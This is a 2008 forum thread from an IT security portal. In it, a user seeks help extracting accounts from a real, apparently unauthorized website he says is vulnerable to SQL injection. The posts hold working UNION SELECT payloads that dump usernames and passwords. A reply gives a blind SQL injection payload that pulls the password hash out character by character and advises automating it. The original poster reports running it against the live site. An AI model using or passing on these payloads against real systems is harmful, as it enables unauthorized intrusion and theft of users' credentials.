Waraxe IT Security Portal
Login or Register
November 22, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 57
Members: 0
Total: 57
Full disclosure
APPLE-SA-11-19-2024-5 macOS Sequoia 15.1.1
Local Privilege Escalations in needrestart
APPLE-SA-11-19-2024-4 iOS 17.7.2 and iPadOS 17.7.2
APPLE-SA-11-19-2024-3 iOS 18.1.1 and iPadOS 18.1.1
APPLE-SA-11-19-2024-2 visionOS 2.1.1
APPLE-SA-11-19-2024-1 Safari 18.1.1
Reflected XSS - fronsetiav1.1
XXE OOB - fronsetiav1.1
St. Poelten UAS | Path Traversal in Korenix JetPort 5601
St. Poelten UAS | Multiple Stored Cross-Site Scripting in SEH utnserver Pro
Apple web content filter bypass allows unrestricted access to blocked content (macOS/iOS/iPadOS/visionO S/watchOS)
SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879)
Security issue in the TX Text Control .NET Server for ASP.NET.
SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater
Unsafe eval() in TestRail CLI
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> Help with a SQL INJECTION >> Probably BLIND ( HOW?)
Post new topicReply to topic View previous topic :: View next topic
Help with a SQL INJECTION >> Probably BLIND ( HOW?)
PostPosted: Sat Dec 27, 2008 5:45 pm Reply with quote
ingh1pped
Advanced user
Advanced user
Joined: Dec 13, 2008
Posts: 88




I have found a vulnerable site to SQL injection

http://www.+++++++/index.php?++++++++=17 union select 1,concat_ws(0x3a,username,password,id),3,4,5,6,7,8,9 from table_accounts--

I say it's ok beacuse if i change table_accounts with other name like fuck_accounts or table_users , it says
Table 'example' doesn't exist

and if i change te columns with other name like for example user or pwd it says.

Unknown column 'example' in 'field list'

WELL, it' ok just beacuse i try order by 9-- and it's ok , and order by 10-- NO!
Then i know that the exact query is

union select 1,concat_ws(0x3a,username,password,id),3,4,5,6,7,8,9 from table_accounts--


but when before i forced the query with -1 nothing is printed on screen

And nothing in printed on screen if i try obviously
-1 union select 1,2,3,4,5,6,7,8,9-- (no number on screen!)
nothing number , nothing of nothing but the page is correctly loaded.

Just i think then, it needs a BLIND SQL but how can i made a correct blind Query with arguments
table_accounts username password and id ?
I'm not very good boy with blind sql injection.
What i can try? What responde of the site?
THKS THKS THKS for your help!!!
View user's profile Send private message
Re: Help with a SQL INJECTION >> Probably BLIND ( HOW?
PostPosted: Sat Dec 27, 2008 11:02 pm Reply with quote
tehhunter
Valuable expert
Valuable expert
Joined: Nov 19, 2008
Posts: 261




ingh1pped wrote:
I have found a vulnerable site to SQL injection

http://www.+++++++/index.php?++++++++=17 union select 1,concat_ws(0x3a,username,password,id),3,4,5,6,7,8,9 from table_accounts--

I say it's ok beacuse if i change table_accounts with other name like fuck_accounts or table_users , it says
Table 'example' doesn't exist

and if i change te columns with other name like for example user or pwd it says.

Unknown column 'example' in 'field list'

WELL, it' ok just beacuse i try order by 9-- and it's ok , and order by 10-- NO!
Then i know that the exact query is

union select 1,concat_ws(0x3a,username,password,id),3,4,5,6,7,8,9 from table_accounts--


but when before i forced the query with -1 nothing is printed on screen

And nothing in printed on screen if i try obviously
-1 union select 1,2,3,4,5,6,7,8,9-- (no number on screen!)
nothing number , nothing of nothing but the page is correctly loaded.

Just i think then, it needs a BLIND SQL but how can i made a correct blind Query with arguments
table_accounts username password and id ?
I'm not very good boy with blind sql injection.
What i can try? What responde of the site?
THKS THKS THKS for your help!!!
If you have SQL injection and you can make different pages load when you change the parameter you're injecting, blind sql injection is possible.

First identify different parameters you can put in regularly (e.g. index.php?id=1 and also index.php?id=2). Good, now try something like the following:

index.php?id=-1 union select 0,0,0,0,0,0,0,0,IF(ASCII(SUBSTRING(password FROM 1 FOR 1))<97,1,2) FROM table_users WHERE userid=1--

which is asking is the first char of 'password' is of ascii value less than 97. Then just change around the condition and voila you can extract hashes. I have an exploit using this working for vBulletin and its awesome. Once you figure it out, I recommend you automate it by a program.
View user's profile Send private message
PostPosted: Sun Dec 28, 2008 8:32 pm Reply with quote
ingh1pped
Advanced user
Advanced user
Joined: Dec 13, 2008
Posts: 88




wery thanks tehunter.... i'm trying your example in more case...

i try
http://www.******/index.php?com=+++++++++++&user=126&date=-1%20union%20select%200,0,0,0,0,0,0,0,IF(ASCII(SUBSTRING(password%20FROM%201%20FOR%201))%3C97,1,2)%20FROM%20[tabella]%20WHERE%20id=1--

and the page is loaded , then if i try other name of table i get an errore table not found..
then i think the blind work but i'm not very expert o f blind ...
i just try to know how make the confront with the ascii value..

sorry but can i send you a PM with the original link??? Question Question
View user's profile Send private message
Help with a SQL INJECTION >> Probably BLIND ( HOW?)
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.036 Seconds